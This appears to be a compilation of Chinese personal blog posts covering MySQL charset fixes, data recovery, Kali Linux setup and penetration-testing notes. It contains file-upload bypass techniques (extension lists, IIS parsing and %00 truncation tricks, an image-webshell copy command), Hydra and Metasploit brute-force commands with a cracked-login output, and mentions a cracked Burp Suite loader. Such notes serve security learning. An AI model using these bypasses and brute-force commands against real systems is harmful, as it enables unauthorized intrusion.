today="index_img: ""https://bing.com/${hud}"
sed -i '117c '"${today}"'' /root/oxox/_config.butterfly.yml
#提交
git add .
git commit -m "定时提交 @$(date)"
git push

关于文章保存数据库报错

2021-05-19T14:01:00.000Z

MySQL数据库字符集utf8如何转utf8mb4
将数据库和已经建好的表也转换成utf8mb4

1
2
3

        更改数据库编码(字符集)：ALTER DATABASE DATABASE_NAME  DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;

          更改表编码(字符集)（注意：这里修改的是表的字符集，表里面字段的字符集并没有被修改）：ALTER TABLE TABLE_NAME DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;

更改表编码(字符集)和表中所有字段的编码(字符集)：

/*ALTER TABLE TABLE_NAME CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;*/
ALTER TABLE typecho_comments CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE typecho_contents CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE typecho_fields CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE typecho_mail CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE typecho_metas CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE typecho_options CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE typecho_relationships CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
ALTER TABLE typecho_users CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;

数据恢复

2021-04-21T06:15:00.000Z

在过去几天用了 UFS DISK-DRILL DATA-RESCUE RECUVA DiskGenius
说实话找到数据的有 disk-drill ufs
ufs 找到数据但是恢复失败

这个是DISKDRILL找到的

这是R.STUDIO找到的结果

R.STUDIO 能够找到目录结构超惊喜

如何使用

点击分区右键查看文件

文件上传

2021-04-13T05:41:00.000Z

文件上传过程

客户端: 选择发送文件–>前端检测–>服务器接收–>程序检测–>临时文件–>移动到指定目录

文件上传错误代码

值：0; 没有错误发生，文件上传成功。
值：1; 上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。
值：2; 上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。
值：3; 文件只有部分被上传。
值：4; 没有文件被上传

网站文件常见的后缀名

asp
asa
cdx
cer
php
aspx
ashx
jsp
php3
php.a
shtml
phtml
过滤的时候可以传入这种格式
aspasp
phpphp
大小写转换

造成漏洞的原因

程序代码和系统缺陷

文件可以直接上传可执行脚本 test.php
js脚本限制禁止 js文件运行
- 修改 html
- 抓包改包
- 直接在 jpg上面修改代码
- 在包里面修改后缀名
黑名单过滤不全穷举后缀名 test.phtml
黑名单指定的后缀名是禁止上传的

白名单就是允许上传文件后缀
jpg png gif 等其他图片格式

asp
asa
cdx
cer
php
aspx
ashx
jsp
php3
php.a
shtml
phtml
ASP
ASA
CDX
CER
PHP
ASPX
ASHX
JSP
PHP3
PHP.A
SHTML
PHTML
Asp
Asa
Cdx
Cer
Php
Aspx
Ashx
Jsp
Php3
Php.a
Shtml
Phtml

文件名可控后缀名不可控 iis6.0解析漏洞 test.asp;.jpg test.asp;jpg
目录解析漏洞 iis6.0 文件夹为 x.asp 只要上传文件到这个文件夹里访问就会执行脚本
%00截断的应用场景
 直接截断文件名
 创建目录可控 %00截断创建目录利用iis6.0解析漏洞上传文件到这个目录里面
 截断参数生成文件
文件类型的检测修改 http文件类型
文件头检测修改文件头或图片一句话
 JPEG (jpg)，文件头：FFD8FF
 PNG (png)，文件头：89504E47
 GIF (gif)，文件头：47494638
 TIFF (tif)，文件头：49492A00
 Windows Bitmap (bmp)，文件头：424D
制作图片一句话
copy 1.gif/b+test.php shell.php

程序逻辑出错

双文件上传
空格文件上传

部署环境

apache开启重写模块
LoadModule rewrite_module modules/mod_rewrite.so
重写解析 .htaccess

SetHandler application/x-httpd-php

配置错误 1.jpg/.php

iis7.0|iis7.5|nginx 开启 fast-cgi

漏洞

nginx 0.83

/1.jpg%00php

系统特性

上传文件名 a.php:.jpg的时候会在目录下生成 a.php的空白文件
php+window+iis
利用 PHP 和 Windows环境的叠加特性，以下符号在正则匹配时的相等性：
双引号" = 点号.
大于符号> = 问号?
小于符号< = 星号*
文件名.<或文件名.<<<或文件名.>>>或文件名.>><空文件名
写入 filename.<<<

NTFS交换数据流

: $DATA 创建文件 ::$ DATA 创建和写入文件

补充

window系统里面会把文件名的最后一个点会自动去掉
如上传 test.php.最后还是会变成 test.php

穷举

2021-04-10T13:41:00.000Z

常见端口

1,web类(web漏洞/敏感目录)

第三方通用组件漏洞struts thinkphp jboss ganglia zabbix

80 web 
80-89 web 
8000-9090 web

2,数据库类(扫描弱口令)

1433 MSSQL 
1521 Oracle 
3306 MySQL 
5432 PostgreSQL 

3,特殊服务类(未授权/命令执行类/漏洞)

443 SSL心脏滴血 
873 Rsync未授权 
5984 CouchDB http://xxx:5984/_utils/ 
6379 redis未授权 
7001,7002 WebLogic默认弱口令，反序列 
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 
11211 memcache未授权访问 
27017,27018 Mongodb未授权访问 
50000 SAP命令执行 
50070,50030 hadoop默认端口未授权访问

4,常用端口类(扫描弱口令/端口爆破)

21 ftp 
22 SSH 
23 Telnet 
2601,2604 zebra路由，默认密码zebra
3389 远程桌面

端口合计详情

21 ftp 
 
22 SSH 
 
23 Telnet 
 
80 web 
 
80-89 web 
 
161 SNMP 
 
389 LDAP 
 
443 SSL心脏滴血以及一些web漏洞测试 
 
445 SMB 
 
512,513,514 Rexec 
 
873 Rsync未授权 
 
1025,111 NFS 
 
1433 MSSQL 
 
1521 Oracle:(iSqlPlus Port:5560,7778) 
 
2082/2083 cpanel主机管理系统登陆 （国外用较多）
 
2222 DA虚拟主机管理系统登陆 （国外用较多） 
 
2601,2604 zebra路由，默认密码zebra
 
3128 squid代理默认端口，如果没设置口令很可能就直接漫游内网了 
 
3306 MySQL 
 
3312/3311 kangle主机管理系统登陆 
 
3389 远程桌面 
 
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网 
 
5432 PostgreSQL 
 
5900 vnc 
 
5984 CouchDB http://xxx:5984/_utils/ 
 
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网 
 
6379 redis未授权 
 
7001,7002 WebLogic默认弱口令，反序列 
 
7778 Kloxo主机控制面板登录 
 
8000-9090 都是一些常见的web端口，有些运维喜欢把管理后台开在这些非80的端口上 
 
8080 tomcat/WDCP主机管理系统，默认弱口令 
 
8080,8089,9090 JBOSS 
 
8083 Vestacp主机管理系统 （国外用较多） 
 
8649 ganglia 
 
8888 amh/LuManager 主机管理系统默认端口 
 
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 
 
10000 Virtualmin/Webmin 服务器虚拟主机管理系统 
 
11211 memcache未授权访问 
 
27017,27018 Mongodb未授权访问 
 
28017 mongodb统计页面 
 
50000 SAP命令执行 
 
50070,50030 hadoop默认端口未授权访问

Hydra

-R 继续从上一次进度接着破解。 
 
-S 采用 SSL 链接。 
 
-s PORT 可通过这个参数指定非默认端口。 
 
-l LOGIN 指定破解的用户，对特定用户破解。 
 
-L FILE 指定用户名字典。 
 
-p PASS 小写，指定密码破解，少用，一般是采用密码字典。 
 
-P FILE 大写，指定密码字典。 
 
-e ns 可选选项，n：空密码试探，s：使用指定用户和密码试探。 
 
-C FILE 使用冒号分割格式，例如“登录名:密码”来代替-L/-P 参数。 
 
-M FILE 指定目标列表文件一行一条。 
 
-o FILE 指定结果输出文件。 
 
-f 在使用-M 参数以后，找到第一对登录名或者密码的时候中止破解。 
 
-t TASKS 同时运行的线程数，默认为 16。 -w TIME 设置最大超时的时间，单位秒，默认是 30s。 
 
-v / -V 显示详细过程。 
-o 指定输出文件
service 指定服务名，支持的服务和协议：telnetftp pop3[-ntlm] imap[-ntlm] smb smbnt  http-{head|get} http-{get|post}-formhttp-proxy cisco cisco-enable vnc  ldap2 ldap3 mssql mysql oracle-listenerpostgres nntp socks5 rexec  rlogin pcnfs snmp rsh cvs svn icq sapr3 sshsmtp-auth[-ntlm] pcanywhere  teamspeak sip vmauthd firebird ncp afp 等等

1	hydra -l root -P password.txt ssh://*...* -vV -t 15

1 2	[STATUS] attack finished for *...* (waiting for children to complete tests) 1 of 1 target completed, 0 valid password found

指定多个ip进行穷举导入-M IP地址文件

1	hydra -l root -P password.txt -M ip.txt ssh -o IPS.txt

hydra -L /root/user -P /root/passwd ssh://192.168.1.0 -f -o /root/crack.txt -V 
ftp 
hydra -L /root/user -P /root/passwd ftp://192.168.1.0 -f -o /root/crack.txt -V 
rdp 
hydra -L /root/user -P /root/passwd rdp://192.168.1.0 -f -o /root/crack.txt -V 
mssql 
hydra -L /root/user -P /root/passwd mssql://192.168.0.129 -f -o /root/crack.txt -v 
mysql 
hydra -L /root/user -P /root/passwd mysql://192.168.0.129 -f -o /root/crack.txt –v -s 3306 
oracle 
hydra -P /root/passwd oracle://192.168.0.129 -f -o /root/crack.txt –v 
redis 
hydra -P /root/passlist.txt -e nsr -t 16 192.168.0.101 redis 
postgresql 弱口令检测 
hydra -P /root/passlist.txt -e nsr -t 16 192.168.0.101 postgresql 
指定多个ip进行穷举 
hydra -L /root/user -P /root/passlist -M /root/ip.txt  -V -o /root/crack mysql -t 16 
hydra -L /root/user -P /root/passlist ssh://192.168.0.112 -vV -f 
hydra -L /root/user -P /root/passlist ssh://192.168.0.112 -vV -f -o /root/crack.txt 
hydra -L /root/user -P /root/passlist ftp://192.168.0.106 -vV -f -o /root/crack.txt 
hydra -l sa -P /root/passlist mssql://192.168.0.103 –vV

可视化xhydra

没啥好说的,

msf穷举模块

测试ip:***********

测试账号:test

测试密码:123456

1	msf6 > use auxiliary/scanner/ssh/ssh_login

msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > info

       Name: SSH Login Check Scanner
     Module: auxiliary/scanner/ssh/ssh_login
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  todb 

Check supported:
  No

Basic options:
  Name              Current Setting  Required  Description
  ----              ---------------  --------  -----------
  BLANK_PASSWORDS   false            no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false            no        Add all passwords in the current database to the list
  DB_ALL_USERS      false            no        Add all users in the current database to the list
  PASSWORD                           no        A specific password to authenticate with
  PASS_FILE                          no        File containing passwords, one per line
  RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'f
                                               ile:'
  RPORT             22               yes       The target port
  STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
  THREADS           1                yes       The number of concurrent threads (max one per host)
  USERNAME                           no        A specific username to authenticate as
  USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per li
                                               ne
  USER_AS_PASS      false            no        Try the username as the password for all users
  USER_FILE                          no        File containing usernames, one per line
  VERBOSE           false            yes       Whether to print output for all attempts

Description:
  This module will test ssh logins on a range of machines and report
  successful logins. If you have loaded a database plugin and
  connected to a database this module will record successful logins
  and hosts so you can track your access.

References:
  https://cvedetails.com/cve/CVE-1999-0502/

msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS *********
RHOSTS => *********
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME test
USERNAME => test
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/
.ICEauthority    .config          .hushlogin       .python_history  Desktop          Public
.Xauthority      .dbus            .local           .viminfo         Documents        Templates
.bash_history    .face            .msf4            .vnc             Downloads        Videos
.bashrc          .face.icon       .pip             .zsh_history     Music            tools
.cache           .gnupg           .profile         .zshrc           Pictures
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/tools/穷举工具/pass
passlist      password.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/tools/穷举工具/password.txt
PASS_FILE => /root/tools/穷举工具/password.txt
msf6 auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting                Required  Description
   ----              ---------------                --------  -----------
   BLANK_PASSWORDS   false                          no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                              yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                          no        Try each user/password couple stored in the current data
                                                              base
   DB_ALL_PASS       false                          no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                          no        Add all users in the current database to the list
   PASSWORD                                         no        A specific password to authenticate with
   PASS_FILE         /root/tools/穷举工具/password.txt  no        File containing passwords, one per line
   RHOSTS            **********                 yes       The target host(s), range CIDR identifier, or hosts file
                                                               with syntax 'file:'
   RPORT             22                             yes       The target port
   STOP_ON_SUCCESS   false                          yes       Stop guessing when a credential works for a host
   THREADS           1                              yes       The number of concurrent threads (max one per host)
   USERNAME          test                           no        A specific username to authenticate as
   USERPASS_FILE                                    no        File containing users and passwords separated by space,
                                                              one pair per line
   USER_AS_PASS      false                          no        Try the username as the password for all users
   USER_FILE                                        no        File containing usernames, one per line
   VERBOSE           false                          yes       Whether to print output for all attempts

msf6 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS teur
[-] The following options failed to validate: Value 'teur' is not valid for option 'STOP_ON_SUCCESS'.
STOP_ON_SUCCESS => false
msf6 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/ssh/ssh_login) > run

[+] ************:22 - Success: 'test:123456' 'Could not chdir to home directory /home/test: No such file or directory This account is currently not available. Could not chdir to home directory /home/test: No such file or directory This account is currently not available. '
[-] *************:22 - While a session may have opened, it may be bugged.  If you experience issues with it, re-run this module with 'set gatherproof false'.  Also consider submitting an issue at github.com/rapid7/metasploit-framework with device details so it can be handled in the future.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) >

auxiliary/scanner/ftp/ftp_login auxiliary/scanner/ssh/ssh_login auxiliary/scanner/telnet/telnet_login auxiliary/scanner/smb/smb_login auxiliary/scanner/mssql/mssql_login auxiliary/scanner/mysql/mysql_login auxiliary/scanner/oracle/oracle_login auxiliary/scanner/postgres/postgres_login auxiliary/scanner/vnc/vnc_login auxiliary/scanner/pcanywhere/pcanywhere_login auxiliary/scanner/snmp/snmp_login 


用法
msfconsole
msf auxiliary(mysql_login) > set PASS_FILE /root/passlist.txt
PASS_FILE => /root/passlist.txt
msf auxiliary(mysql_login) > set USERNAME root
USERNAME => root
msf auxiliary(mysql_login) > run
set 设置
show options 查询设置
back 返回
info 查询模块的信息
exploit/run 运行模块

邮箱破解

后台密码穷举

burp下载🔰雨苁
打包了份启动器
无后台

1 2	源代码就是 java --illegal-access=permit -Dfile.encoding=utf-8 -javaagent:BurpSuiteLoader.jar -noverify -jar burpsuite_pro.jar

把下载的burp文件重命名如下

该exe使用方法

创建快捷方式
固定到开始屏幕

burploader-old.jar 为激活工具

1	java -jar burploader-old.jar

使用方法🔰雨苁博客有

wordpress

cmsmap穷举

一句话破解

cheetah

webshell密码破解

验证码后台破解

验证码cookie是否能重复利用
能否重复利用
绕过
ocr识别

wfuzz多线程百万密码测试

1 2	#example wfuzz -c -z file./passwd.txt -u url -d "username=root&passed=FUZZ"

有 token 防御的网站后台

KALI安装备份

2021-04-03T07:21:00.000Z

此篇不是教程,只是个人备份,注意切换到root环境运行

花屏解决

1	xfconf-query -c xfwm4 -p /general/vblank_mode -t string -s "xpresent" --create

个人碰到问题的解决办法

开启蓝牙

1 2	service bluetooth start update-rc.d bluetooth enable

更改默认dir名

vim ~/.config/user-dirs.dirs

XDG_DESKTOP_DIR="$HOME/Desktop"
XDG_DOWNLOAD_DIR="$HOME/Downloads"
XDG_TEMPLATES_DIR="$HOME/Templates"
XDG_PUBLICSHARE_DIR="$HOME/Public"
XDG_DOCUMENTS_DIR="$HOME/Documents"
XDG_MUSIC_DIR="$HOME/Music"
XDG_PICTURES_DIR="$HOME/Pictures"
XDG_VIDEOS_DIR="$HOME/Videos"

cd ~
mv 公共 Public
mv 模板 Templates
mv 视频 Videos
mv 图片 Pictures
mv 文档 Documents
mv 下载 Downloads
mv 音乐 Music
mv 桌面 Desktop

更改默认python为3

update-alternatives --install /usr/bin/python python /usr/bin/python2 100

update-alternatives --install /usr/bin/python python /usr/bin/python3 150

或者
apt install python-is-python3

更改默认源

1	vim /etc/apt/sources.list

deb https://mirrors.huaweicloud.com/kali kali-rolling main non-free contrib
deb https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb https://http.kali.org/kali kali-rolling main non-free contrib
 


#deb-src https://mirrors.huaweicloud.com/kali kali-rolling main non-free contrib 
#deb-src https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib

安装apt-fast加速更新源

1	vim /etc/apt/sources.list.d/apt-fast.list

1
2

deb [arch=amd64 signed-by=/etc/apt/trusted.gpg.d/apt-fast.gpg] http://ppa.launchpad.net/apt-fast/stable/ubuntu bionic main 
#deb-src [arch=amd64 signed-by=/etc/apt/trusted.gpg.d/apt-fast.gpg] http://ppa.launchpad.net/apt-fast/stable/ubuntu bionic main

添加签名

apt install -y gnupg2
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys A2166B8DE8BDC3367D1901C11EE2FF37CA8DA16B
apt-key export CA8DA16B|sudo gpg --dearmour -o /etc/apt/trusted.gpg.d/apt-fast.gpg
mv /etc/apt/trusted.gpg.d/apt-fast.gpg~ /etc/apt/trusted.gpg.d/apt-fast.gpg
ls /etc/apt/trusted.gpg.d/
# 如果后缀有问题就重命名
apt-key del CA8DA16B
apt update
apt install apt-fast

依次选择 apt — 16 — 是

修改apt-fast设置

vim /etc/apt-fast.conf
#添加以下配置

MIRRORS=( 'https://mirrors.huaweicloud.com/kali,https://mirrors.ustc.edu.cn/kali,https://mirrors.aliyun.com/kali,https://mirrors.tuna.tsinghua.edu.cn/kali,https://http.kali.org/kali' )

更改apt-fast为af

sudo vim ~/.zshrc
#添加如下
alias af='sudo apt-fast'
#更新.zshrc文件
source .zshrc

更新系统

1 2	af update af upgrade

安装python3-pip

af install python3-pip
sudo mkdir ~/.pip
sudo vim ~/.pip/pip.conf
#添加如下内容
[global]
index-url = https://mirrors.huaweicloud.com/repository/pypi/simple
trusted-host = mirrors.huaweicloud.com
timeout = 120

root账户自动登录

vim /etc/lightdm/lightdm.conf

autologin-user=root
autologin-user-timeout=0


vim /etc/pam.d/lightdm-autologin

注释下面这段
auth required pam_succeed_if.so user != root quiet_success

开启ssh root账户密钥登录

// 修改ssh配置
vim /etc/ssh/sshd_config

PermitRootLogin yes
RSAAuthentication yes
PubkeyAuthentication yes

// 添加公钥 id_rsa.pub 自备
mkdir ~/.ssh
cat id_rsa.pub >> authorized_keys
chmod 600 authorized_keys
chmod 700 ~/.ssh
// 设置开机自启
/etc/init.d/ssh start
update-rc.d ssh enable

配置欢迎信息

目前显示的信息
Linux kali 5.18.0-kali7-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.16-1kali1 (2022-08-31) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Oct  9 17:04:06 2022 from 10.0.0.1
┏━(Message from Kali developers)
┃
┃ This is a minimal installation of Kali Linux, you likely
┃ want to install supplementary tools. Learn how:
┃ ⇒ https://www.kali.org/docs/troubleshooting/common-minimum-setup/
┃
┗━(Run: “touch ~/.hushlogin” to hide this message)

❯ cat /etc/issue
Kali GNU/Linux Rolling \n \l

删除issue里的信息
无变化,是因为我是远程登录的
/etc/issue 本地登陆显示的信息，本地登录前

1
2
3

❯ cat /etc/issue.net
Kali GNU/Linux Rolling
网络登陆显示的信息，登录后显示，需要由sshd配置

❯ cat /etc/motd

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

ls /etc/profile.d/
查看这里的文件
❯ ls /etc/profile.d/
kali.sh  sysinfo.sh

发现还有信息
Linux kali 5.18.0-kali7-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.16-1kali1 (2022-08-31) x86_64
Last login: Sun Oct  9 17:32:27 2022 from 10.0.0.1


接着查找
grep -nr "Linux kali 5.18.0-kali7-amd64" /

发现 此文件
/run/motd.dynamic
❯ cat /run/motd.dynamic
Linux kali 5.18.0-kali7-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.16-1kali1 (2022-08-31) x86_64

发现删除后会重新生成
于是尝试查找
❯ find / -name "*motd*"
/usr/lib/python3/dist-packages/samba/__pycache__/vgp_motd_ext.cpython-310.pyc
/usr/lib/python3/dist-packages/samba/vgp_motd_ext.py
/usr/lib/x86_64-linux-gnu/security/pam_motd.so
/usr/share/man/man8/pam_motd.8.gz
/usr/share/man/man5/motd.5.gz
/usr/share/base-files/motd
/run/motd.dynamic
/etc/motd
/etc/update-motd.d

发现可以文件夹/etc/update-motd.d

❯ cat /etc/update-motd.d/10-uname
#!/bin/sh
uname -snrvm


❯ uname -snrvm
Linux kali 5.18.0-kali7-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.16-1kali1 (2022-08-31) x86_64

确认就是此文件

关闭last login信息
vim /etc/ssh/sshd_config

去掉注释
改为
PrintLastLog no
重启ssh服务,这时就不会显示任何信息

配置显示系统信息

在/etc/profile.d/目录下新建sysinfo.sh文件

#!/bin/bash

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export LANG=zh_CN.UTF-8

THIS_SCRIPT="sysinfo"
MOTD_DISABLE=""

SHOW_IP_PATTERN="^[ewr].*|^br.*|^lt.*|^umts.*"

DATA_STORAGE=/userdisk/data
MEDIA_STORAGE=/userdisk/snail


# don't edit below here
function display()
{
        # $1=name $2=value $3=red_limit $4=minimal_show_limit $5=unit $6=after $7=acs/desc{
        # battery red color is opposite, lower number
        if [[ "$1" == "Battery" ]]; then
                local great="<";
        else
                local great=">";
        fi
        if [[ -n "$2" && "$2" > "0" && (( "${2%.*}" -ge "$4" )) ]]; then
                printf "%-14s%s" "$1:"
                if awk "BEGIN{exit ! ($2 $great $3)}"; then
                        echo -ne "\e[0;91m $2";
                else
                        echo -ne "\e[0;92m $2";
                fi
                printf "%-1s%s\x1B[0m" "$5"
                printf "%-11s%s\t" "$6"
                return 1
        fi
} # display


function get_ip_addresses()
{
        local ips=()
        for f in /sys/class/net/*; do
                local intf=$(basename $f)
                # match only interface names starting with e (Ethernet), br (bridge), w (wireless), r (some Ralink drivers use ra format)
                if [[ $intf =~ $SHOW_IP_PATTERN ]]; then
                        local tmp=$(ip -4 addr show dev $intf | awk '/inet/ {print $2}' | cut -d'/' -f1)
                        # add both name and IP - can be informative but becomes ugly with long persistent/predictable device names
                        #[[ -n $tmp ]] && ips+=("$intf: $tmp")
                        # add IP only
                        [[ -n $tmp ]] && ips+=("$tmp")
                fi
        done
        echo "${ips[@]}"
} # get_ip_addresses


function storage_info()
{
        # storage info
        RootInfo=$(df -h /)
        root_usage=$(awk '/\// {print $(NF-1)}' <<<${RootInfo} | sed 's/%//g')
        root_total=$(awk '/\// {print $(NF-4)}' <<<${RootInfo})
} # storage_info


# query various systems and send some stuff to the background for overall faster execution.
# Works only with ambienttemp and batteryinfo since A20 is slow enough :)
storage_info
critical_load=$(( 1 + $(grep -c processor /proc/cpuinfo) / 2 ))

# get uptime, logged in users and load in one take
UptimeString=$(uptime | tr -d ',')
time=$(awk -F" " '{print $3" "$4}' <<<"${UptimeString}")
load="$(awk -F"average: " '{print $2}'<<<"${UptimeString}")"
case ${time} in
        1:*) # 1-2 hours
                time=$(awk -F" " '{print $3" 小时"}' <<<"${UptimeString}")
                ;;
        *:*) # 2-24 hours
                time=$(awk -F" " '{print $3" 小时"}' <<<"${UptimeString}")
                ;;
        *day) # days
                days=$(awk -F" " '{print $3"天"}' <<<"${UptimeString}")
                time=$(awk -F" " '{print $5}' <<<"${UptimeString}")
                time="$days "$(awk -F":" '{print $1"小时 "$2"分钟"}' <<<"${time}")
                ;;
esac


# memory and swap
mem_info=$(LC_ALL=C free -w 2>/dev/null | grep "^Mem" || LC_ALL=C free | grep "^Mem")
memory_usage=$(awk '{printf("%.0f",(($2-($4+$6))/$2) * 100)}' <<<${mem_info})
memory_total=$(awk '{printf("%d",$2/1024)}' <<<${mem_info})
swap_info=$(LC_ALL=C free -m | grep "^Swap")
swap_usage=$( (awk '/Swap/ { printf("%3.0f", $3/$2*100) }' <<<${swap_info} 2>/dev/null || echo 0) | tr -c -d '[:digit:]')
swap_total=$(awk '{print $(2)}' <<<${swap_info})

c=0
while [ ! -n "$(get_ip_addresses)" ];do
[ $c -eq 3 ] && break || let c++
sleep 1
done
ip_address="$(get_ip_addresses)"

# display info
display "系统负载" "${load%% *}" "${critical_load}" "0" "" "${load#* }"
printf "运行时间:  \x1B[92m%s\x1B[0m\t\t" "$time"
echo "" # fixed newline


display "内存已用" "$memory_usage" "70" "0" " %" " of ${memory_total}MB"
display "交换内存" "$swap_usage" "10" "0" " %" " of $swap_total""Mb"
printf "IP  地址:  \x1B[92m%s\x1B[0m" "$ip_address"
echo "" # fixed newline

display "系统存储" "$root_usage" "90" "1" "%" " of $root_total"
printf "CPU 信息:  \x1B[92m%s\x1B[0m\t" "$(echo `cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c`)"
echo ""
echo ""

安装docker-ce

af install apt-transport-https ca-certificates curl gnupg2 software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian buster stable"
af update
af install -y docker-ce
service docker start
update-rc.d docker enable



// 设置镜像加速
vim /etc/docker/daemon.json

{
"registry-mirrors":[
"https://docker.mirrors.ustc.edu.cn/",
"https://hub-mirror.c.163.com/"
]
}
// 重启docker服务
systemctl daemon-reload
systemctl restart docker

搭建vulfocus靶场

docker pull vulfocus/vulfocus:latest
docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock  -e VUL_IP=scp.com --restart always vulfocus/vulfocus

vul_ip  为靶场网址(这里scp.com 是ge'rf'ue'vi [ge'ren'she'zhi]本地hosts  方便访问)

开机自动进入cli

1	systemctl set-default multi-user.target

禁用读文件时访问时间戳的写操作

#为除swap之外的每个分区增加noatime选项
sudo vim /etc/fstab
noatime,errors=remount-ro
#重启生效

使用TRIM定期清理硬盘(ssd)

查看是否支持

1
2
3

sudo hdparm -I /dev/sda | grep TRIM
#有返回则支持
sudo systemctl status fstrim

手动执行

1 2	sudo fstrim -V / #多块可选择硬盘挂载目录

每天清理(默认每周)—SSD

sudo mkdir -V /etc/systemd/system/fstrim.timer.d
sudo touch /etc/systemd/system/fstrim.timer.d/override.conf
sudo vim admin:///etc/systemd/system/fstrim.timer.d/override.conf
[Timer]
OnCalendar=
OnCalendar=daily

提高性能,安全补丁

#intel
sudo apt install intel-microcode
#amd
sudo apt install amd64-microcode

交换分区/文件

Swappiness 内核参数(0-100)
决定RAM写入SWAP的百分比
减少使用SWAP可以提高性能

1 2	cat /proc/sys/vm/swappiness #默认60 sudo sysctl -w vm.swappiness=1 #设置为1 1-10 都行

限制firefox磁盘读写

将firefox网络缓存放入RAM可提高运行速度
1
-------内存不足2GB不建议使用

地址栏输入about:config

搜索: brower.cache.disk.enable #更改为false 双击

搜索: brower.cache.memory.enable #true

搜索 browser.cache.memory.capacity 数值更改为204800

禁用firefox无必要的网络活动

地址栏输入about:config

搜索: network.captive-portal-service.enabled #更改为false

禁用休眠/碎片整理

禁用休眠

磁盘挂旗会导致大量的写操作
对SSD尤其不利

不要碎片整理

碎片整理会导致大量的写操作,短时间内毁坏SSD

优化启动项

删除不需要的启动项

显示隐藏启动项

1	sudo sed -i 's/NoDisplay=true/NoDisplay=false/g' /etc/xdg/autostart/*.desktop

系统清理

stacer

1	af install stacer

bleachbit

1	af install bleachbit

优化笔记本电池寿命

手动优化非常复杂

#推荐软件
af install tlp tlp-rdw
sudo tlp start
sudo tlp-stat

我用服务器演示

┌──(root💀kali)-[~]
└─# af install tlp tlp-rdw


61b4c3|OK  |   1.9MiB/s|/var/cache/apt/apt-fast/tlp_1.3.1-2_all.deb

状态标识：
(OK)：下载已完成。
正在读取软件包列表... 完成
正在分析软件包的依赖关系树... 完成
正在读取状态信息... 完成
建议安装：
  tp-smapi-dkms acpi-call-dkms linux-cpupower
下列【新】软件包将被安装：
  tlp tlp-rdw
升级了 0 个软件包，新安装了 2 个软件包，要卸载 0 个软件包，有 4 个软件包未被升级。
需要下载 0 B/87.4 kB 的归档。
解压缩后会消耗 403 kB 的额外空间。
正在选中未选择的软件包 tlp。
